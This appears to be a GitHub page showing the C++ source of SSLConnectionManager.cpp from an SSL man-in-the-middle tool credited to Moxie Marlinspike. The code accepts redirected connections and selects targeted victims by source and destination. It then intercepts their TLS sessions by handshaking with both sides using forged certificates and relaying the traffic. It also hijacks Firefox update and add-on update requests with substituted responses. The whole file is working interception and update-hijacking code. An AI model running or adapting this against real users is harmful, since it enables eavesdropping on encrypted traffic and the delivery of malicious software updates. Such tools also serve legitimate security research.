-
Notifications
You must be signed in to change notification settings - Fork 119
/
SSLConnectionManager.cpp
172 lines (150 loc) · 5.9 KB
/
SSLConnectionManager.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
/*
* Copyright (c) 2002-2009 Moxie Marlinspike
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 3 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
* USA
*/
#include "FirefoxAddonUpdater.hpp"
#include "FirefoxUpdater.hpp"
#include "RawBridge.hpp"
#include "HTTPSBridge.hpp"
#include "SSLConnectionManager.hpp"
#include "UpdateManager.hpp"
#include "certificate/Certificate.hpp"
#include "util/Destination.hpp"
#include "FingerprintManager.hpp"
#include <boost/asio.hpp>
#include <boost/thread.hpp>
#include <boost/bind.hpp>
#include <boost/shared_ptr.hpp>
using namespace boost::asio;
SSLConnectionManager::SSLConnectionManager(io_service &io_service,
CertificateManager &certificateManager,
int sslListenPort)
: acceptor(io_service, ip::tcp::endpoint(ip::tcp::v4(), sslListenPort)),
certificateManager(certificateManager)
{
acceptIncomingConnection();
}
void SSLConnectionManager::acceptIncomingConnection() {
boost::shared_ptr<ip::tcp::socket> socket(new ip::tcp::socket(acceptor.io_service()));
acceptor.async_accept(*socket, boost::bind(&SSLConnectionManager::handleClientConnection,
this, socket, placeholders::error));
}
void SSLConnectionManager::handleClientConnection(boost::shared_ptr<ip::tcp::socket> socket,
const boost::system::error_code &error)
{
ip::tcp::endpoint originalDestination;
Destination::getOriginalDestination(*socket, originalDestination);
ip::address source = socket->remote_endpoint().address();
bool isValidWildcardTarget = FingerprintManager::getInstance()->isValidWildcardTarget(source);
bool isValidSourceTarget = FingerprintManager::getInstance()->isValidTarget(source);
bool isValidCertTarget = certificateManager.isValidTarget(originalDestination,
isValidWildcardTarget);
if (isValidSourceTarget && isValidCertTarget)
boost::thread intercept(boost::bind(&SSLConnectionManager::interceptConnection,
this, socket, originalDestination,
isValidWildcardTarget));
else
shuttleConnection(socket, originalDestination);
acceptIncomingConnection();
}
void SSLConnectionManager::shuttleConnection(boost::shared_ptr<ip::tcp::socket> clientSocket,
ip::tcp::endpoint &destination)
{
Bridge::ptr bridge = RawBridge::create(clientSocket, destination, acceptor.io_service());
bridge->shuttle();
}
void SSLConnectionManager::interceptUpdate(boost::shared_ptr<ip::tcp::socket> clientSocket,
ip::tcp::endpoint &destination,
bool wildcardOK)
{
try {
Logger::logError("Intercepting Update...");
FirefoxUpdater updater(clientSocket, destination);
updater.handshakeWithClient(certificateManager, wildcardOK);
updater.readMetaUpdateRequest();
updater.sendMetaUpdateResponse();
updater.close();
} catch (SSLConnectionError &error) {
std::stringstream errorStream;
errorStream << "Got exception: " << error.what();
std::string error = errorStream.str();
Logger::logError(error);
} catch (FirefoxUpdateException &error) {
std::stringstream errorStream;
errorStream << "Got exception: " << error.what();
std::string error = errorStream.str();
Logger::logError(error);
}
}
void SSLConnectionManager::interceptAddon(boost::shared_ptr<ip::tcp::socket> clientSocket,
ip::tcp::endpoint &destination,
bool wildcardOK)
{
try {
Logger::logError("Intercepting addon..");
FirefoxAddonUpdater updater(clientSocket, destination);
updater.handshakeWithClient(certificateManager, wildcardOK);
updater.readMetaUpdateRequest();
updater.sendMetaUpdateResponse();
updater.close();
} catch (SSLConnectionError &error) {
std::stringstream errorStream;
errorStream << "Got exception: " << error.what();
std::string error = errorStream.str();
Logger::logError(error);
} catch (FirefoxUpdateException &error) {
std::stringstream errorStream;
errorStream << "Got exception: " << error.what();
std::string error = errorStream.str();
Logger::logError(error);
}
}
void SSLConnectionManager::interceptSSL(boost::shared_ptr<ip::tcp::socket> clientSocket,
ip::tcp::endpoint &destination,
bool wildcardOK)
{
ip::tcp::socket serverSocket(acceptor.io_service());
boost::system::error_code error;
serverSocket.connect(destination, error);
if (!error) {
try {
boost::shared_ptr<SSLBridge> bridge((destination.port() == HTTPS_PORT) ?
new HTTPSBridge(clientSocket, &serverSocket) :
new SSLBridge(clientSocket, &serverSocket));
bridge->handshakeWithServer();
bridge->handshakeWithClient(certificateManager, wildcardOK);
bridge->shuttleData();
bridge->close();
} catch (SSLConnectionError &error) {
std::stringstream errorStream;
errorStream << "Got exception: " << error.what();
std::string error = errorStream.str();
Logger::logError(error);
}
}
}
void SSLConnectionManager::interceptConnection(boost::shared_ptr<ip::tcp::socket> clientSocket,
ip::tcp::endpoint destination,
bool wildcardOK)
{
if (UpdateManager::getInstance()->isUpdateTarget(destination))
interceptUpdate(clientSocket, destination, wildcardOK);
else if (UpdateManager::getInstance()->isAddonTarget(destination))
interceptAddon(clientSocket, destination, wildcardOK);
else
interceptSSL(clientSocket, destination, wildcardOK);
}